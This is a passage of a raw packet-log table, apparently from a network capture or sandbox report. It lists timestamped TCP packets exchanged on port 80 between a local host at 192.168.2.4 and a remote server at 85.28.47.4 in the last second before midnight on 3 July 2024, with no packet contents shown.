Jul 3, 2024 23:59:05.429112911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429125071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429125071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429157019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429172993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429284096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429296017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429306030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429321051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429323912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429332972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429342985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429359913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429383993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429503918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429513931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429523945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429533958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429544926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429546118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429558992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429591894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429634094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429672956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429737091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429748058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429763079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429774046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429775000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429785013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429790974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429797888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429815054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429840088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510278940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510314941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510325909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510344982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510349989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510358095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510370016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510375977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510416031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510431051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510442019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510457993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510473013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510503054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510560036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510571003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510581017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510591030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510610104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510628939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510715008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510725975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510735989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510747910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510756969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510780096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510807037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510845900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510858059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510868073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510889053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510907888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.510987043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.510998011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511008024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511034012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511049032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511109114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511120081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511131048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511148930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511174917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511229038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511240005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511250019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511260033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511270046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511296988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511344910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511384964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511395931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511406898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511435986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511449099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511518002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511528969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511544943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511555910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511560917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511588097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511609077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511673927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511686087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511696100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511708975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511717081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511734009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511760950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511825085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511837959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511847973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511864901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511868000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511883020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511910915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.511959076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511970043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511980057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.511996984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512005091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512008905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512021065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512032032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512037992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512042999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512062073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512078047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512239933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512259960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512274027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512283087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512300014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512316942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512381077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512392044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512402058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512423038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512443066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512518883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512530088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512545109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512556076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512557030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512567997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512578011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512583017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512589931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512603045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512613058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512629986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512654066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.512783051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.512835026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.521933079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.521970034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.521974087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.521981001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522016048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522102118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522113085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522124052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522140026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522152901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522176981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522177935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522223949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522253990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522253990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522293091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522294998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522305012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522341967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522341967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522367954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522380114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522394896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522407055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522427082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522459984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522524118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522540092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522567987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522588015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522600889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522613049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522630930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522640944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522666931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522680044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522692919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522699118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522705078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522717953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522747993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522860050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522871017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522881031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522900105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.522907972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522922039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522945881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.522993088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523008108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523031950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523044109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523124933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523135900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523145914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523158073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523164988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523195028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523300886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523312092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523323059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523333073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.523344994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523363113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.523387909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594398022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594410896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594420910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594482899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594516993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594541073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594552040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594562054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594572067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594578981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594600916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594629049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594712019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594728947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594739914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594750881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594762087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594774008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594896078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594907999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594917059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.594945908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.594958067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.595033884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.595052004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.595073938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.595097065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.595222950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.595233917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.595263004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.595274925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604199886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604240894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604249954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604254961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604280949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604293108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604315996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604327917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604337931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604347944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604366064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604391098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604418993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604460001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604474068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604502916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604521990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604532957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604562998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604607105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604618073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604626894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604638100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604649067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604675055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604723930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604759932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604823112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604834080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604844093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604856014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604862928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604868889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604878902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604888916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.604906082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.604918003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605017900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605036974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605057955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605072021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605140924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605150938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605161905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605171919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605181932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605195045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605218887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605256081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605268002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605277061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605298996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605309963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605381966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605391979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605401993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605423927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605443001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605463028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605474949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605501890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605526924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605545044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605556011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605612993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605637074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605648041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605659008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605674982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605675936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605698109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605761051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605772972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605782032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605792999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605803013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605823040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.605914116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605925083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605935097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605946064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.605954885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606007099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606025934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606025934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606050014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606060982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606072903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606082916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606095076 CEST	49730	80	192.168.2.4	85.28.47.4
